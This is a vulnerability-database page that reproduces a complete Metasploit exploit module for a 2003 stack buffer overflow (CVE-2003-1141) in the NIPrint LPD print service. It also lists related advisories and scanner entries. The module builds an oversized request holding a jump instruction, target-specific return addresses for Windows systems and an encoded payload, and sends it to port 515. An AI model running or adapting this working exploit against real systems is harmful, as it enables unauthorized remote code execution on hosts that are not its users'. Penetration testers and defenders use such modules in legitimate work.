Lucene search
K

NIPrint LPD Request Overflow

🗓️ 12 Sep 2006 06:05:23Reported by hdm <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 24 Views

NIPrint LPD Request Overflow exploit for Network Instrument NIPrint LPD service with stack buffer overflo

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2003-1141
25 Dec 201000:00
circl
CVE
CVE-2003-1141
10 May 200504:00
cve
Cvelist
CVE-2003-1141
10 May 200504:00
cvelist
Exploit DB
NIPrint LPD - Request Overflow (Metasploit)
25 Dec 201000:00
exploitdb
canvas
Immunity Canvas: NIPRINT
4 Nov 200305:00
canvas
Tenable Nessus
NIPrint LPD-LPR Print Server String Handling Remote Overflow
17 Nov 200300:00
nessus
NVD
CVE-2003-1141
4 Nov 200305:00
nvd
OpenVAS
NIPrint LPD-LPR Print Server
3 Nov 200500:00
openvas
OpenVAS
NIPrint LPD-LPR Print Server DoS Vulnerability
3 Nov 200500:00
openvas
Packet Storm
NIPrint LPD Request Overflow
26 Nov 200900:00
packetstorm
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'NIPrint LPD Request Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the
        Network Instrument NIPrint LPD service. Inspired by
        Immunity's VisualSploit :-)
      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2003-1141'],
          ['OSVDB', '2774'],
          ['BID', '8968'],
          ['URL',   'http://www.immunitysec.com/documentation/vs_niprint.html'],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 500,
          'BadChars' => "\x00\x0a",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['NIPrint3.EXE (TDS:0x3a045ff2)', { 'Ret' => 0x00404236 }], # jmp esi
          ['Windows XP SP3', { 'Ret' => 0x7C9D30E3 }],
          ['Windows 7 x64', { 'Ret' => 0x763B35DD }],
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => '2003-11-05'))

    register_options(
      [
        Opt::RPORT(515)
      ])
  end

  def exploit
    connect

    req = rand_text_alphanumeric(8192)
    req[  0, 2] = "\xeb\x33"
    req[ 49, 4] = [target.ret].pack('V')
    req[ 53, payload.encoded.length ] = payload.encoded

    print_status("Trying target #{target.name}...")
    sock.put(req)

    handler
    disconnect
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2020 20:00Current
7.8High risk
Vulners AI Score7.8
CVSS 27.5
EPSS0.78728
24